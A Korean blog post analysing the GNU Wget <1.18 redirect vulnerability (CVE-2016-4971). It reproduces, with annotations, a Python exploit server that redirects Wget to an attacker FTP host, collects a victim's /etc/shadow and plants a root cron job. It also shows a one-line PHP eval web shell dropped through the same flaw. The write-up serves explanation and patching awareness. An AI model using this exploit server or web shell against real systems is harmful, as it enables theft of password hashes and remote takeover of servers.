[EXPLOIT] GNU Wget 1.18 Arbitrary File Upload/Remote Code Execution 분석(Analysis)

오랜만에 Exploit 코드 분석을 해볼까합니다. (한참된거 같네요) 최근 wget, 즉 gnu wget에서 Arbitrary File Upload와 Remote Code Execution 취약점이 발견되었습니다. 딱봐도 파급력이 크기 때문에 당연 CVE도 붙었고 CVSS Risk level 도 높을 것으로 보이네요. 그럼 시작해볼까요?

GNU Wget?

wget은 많이들 아시겠죠. 바로 리눅스, 유닉스에서 사용하는 웹 접근 도구입니다. 웹 페이지나 파일을 명령어로 쉽게 가져올 수 있죠. wget을 잘 활용하면 쓸만한 툴을 만들 수 있을 정도입니다.

“GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc.

GNU Wget has many features to make retrieving large files or mirroring entire web or FTP sites easy “

GNU에 소개된 내용을 보면 딱 아 이런 툴이구나 라고 이해가 되실겁니다.

“This file documents the GNU Wget utility for downloading network data.”

GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution

간단하게 Summary 정리하고 갑니다.

Exploit title: GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution Weak application: GNU Wget Exploit-code: CVE-2016-4971, edb-40064 Author: Dawid Golunski

오래전부터 활동하시던 분이고 linux 랑 php 취약점 자주 잡으시는 분이네요. (제가 8066인데, 이분은 1951.. 허헛)

GNU Wget < 1.18 버전의 취약성

wget 1.18 버전 이하에서는 아주 치명적인 취약성이 존재합니다. 바로 302 Found와 같이 Redirection되는 페이지를 만났을 때 새로 Redirection 된 파일을 받아오게 됩니다. 여기서, 중요한건 다운로드된 파일을 Redirection 된 파일의 이름을 따라가게 됩니다.

그래서 공격자는 사용자로부터 wget 요청을 유도할 수 있다면 악의적인 파일을 사용자에게 삽입할 수 있게됩니다.

음.. 쉽게 예를들어 설명하면,

먼저 공격자는 사용자들이 많이 받는 파일에 302 found를 세팅합니다. 아래와 같이 다른 url로 넘어가도록 말이죠.


#> wget http://192.168.0.8/util.zip

사용자가 wget으로 util.zip을 호출할 때 서버는 아래와 같은 메시지를 Return 합니다.

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://192.168.0.8/.bashrc Server: Apache

이렇게 되면 wget은 302를 만나 ftp://192.168.0.8/.bashrc 주소로 붙어 .bashrc 파일을 다운로드 받습니다.

.bashrc는 사용자의 bashrc 파일로 스크립트로 여러가지 행위를 할 수 있죠.

이 과정중의 핵심은 이것입니다. 사용자는 wget 으로 http://192.168.0.8/util.zip에 접근하였고 결론적으로는 .bashrc 파일이 떨어졌다는 겁니다.

이해가셨나요? 아주 쉽고 간단한데 원격지에 파일을 떨어뜨릴 수 있는거니 생각보단 위험하네요.

Exploit Code

내용만 보고 없으면 직접 짜려고 했으나 다행인게 Author가 302 server code 도 만들어 두었네요.

얼마 길지않은 python 코드는 잠깐 보도록 하죠. 주석으로 조금 정리해볼게요.


import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # This takes care of sending .wgetrc

       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
# =======================================================
# [!!!] 이 부분입니다. 강제로 301 redirection 을 보내주네요.
# new_path 에 들어가는 부분이 악의적인 파일(wgetrc)를 받을 ftp 입니다.
       self.send_response(301)  
       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
# =======================================================
       print "Sending redirect to %s \n"%(new_path)
       self.send_header('Location', new_path)
       self.end_headers()
   def do_POST(self):
       # In here we will receive extracted file and install a PoC cronjob

       print "We have a volunteer requesting " + self.path + " by POST :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       content_len = int(self.headers.getheader('content-length', 0))
       post_body = self.rfile.read(content_len)
       print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

       print "Sending back a cronjob script as a thank-you for the file..."
       print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(ROOT_CRON)

       print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"

       return

HTTP_LISTEN_IP = '192.168.57.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.57.1'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
   print "FTP is down :( Exiting."
   exit(1)

나머진 별다른게 없네요. 그냥 python 기반 웹서버이며 301해주는 기능입니다. rc 파일에는 공격 코드가 들어가겠네요.

GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution 을 이용한 WebShell Upload

사실 여기까지 보고 이런 생각이 들었습니다.

“어? 왜 Remote code execution까지 붙였을까?”

Author는 요걸 활용한 공격까지 생각하고 이름을 지었더군요 ! 바로 php에서 사용될 때 php 파일을 떨굴 수 있기 때문이죠. 아무래도 cron이나 웹 서버에서 wget을 사용하는 경우가 은근 많은데, 정말 위험할 수도 있겠네요.

아래 간단한 코드를 예시로 들겠습니다.


<?php
  // I am vulnerability code in php
  system("wget -N -P http://192.168.0.8/util.sqlite");   
?>

뭔가 정기적으로 wget을 통해 util.sqlite 파일을 받아오는 코드입니다. 만약 192.168.0.8 서버가 공격자로부터 침해되었다면 어떨까요?

공격자는 이 취약점을 활용하기 위해서 서버 설정을 바꾸어 다른 파일을 다운로드 받도록 유도합니다. 뭐 이런식으로요

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://192.168.0.8/ol_shell.php Server: Apache

ol_shell.php


<?php
    eval($_GET['q']);
?>

wget으로 인해서 ol_shell.php가 wget을 호출한 곳으로 떨어지고 자연스럽게 웹쉘이 업로드되는 현상이 이루어지지요.

ftp로 주었지만 웹에서도 퍼미션이 없는 php 파일은 그냥 php로 떨어집니다. 웹 서버 하나로도 가능한 일이지요.

맺음말

이 취약점은 코딩 자체가 잘못된 취약점은 아닙니다. 프로그램 자체의 문제라기 보단 기능의 흐름에서 예상하지 못한 결과에 대해서 예외처리가 잘 되어있지 않은 문제지요.

이렇게 로직으로 인한 문제는 개발자가 발견하기 어렵습니다. 실제로 일어나야 인지하죠.

이 취약점이 얼마나 여파가 있을지는 모르겠습니다. 공격자가 서비스가 어떤 주소로 wget을 호출하는지 알도록 냅둬진 서버가 얼마나 있을지는 모르겠네요. 다만 open source 중에서 wget 호출을 사용하는 서버는 문제가 있을 것 같습니다. 공격자가 언제든지 정보를 찾을 수 있기 때문에 관리자, 개발자는 항상 최신버전으로 업데이트함과 동시에 자신이 위험한 코딩을 하고있지 않은지 살펴봐야할 것 같습니다.

If you are question, please contact me a comment or mail

Reference

https://www.exploit-db.com/exploits/40064/ https://en.wikipedia.org/wiki/Wget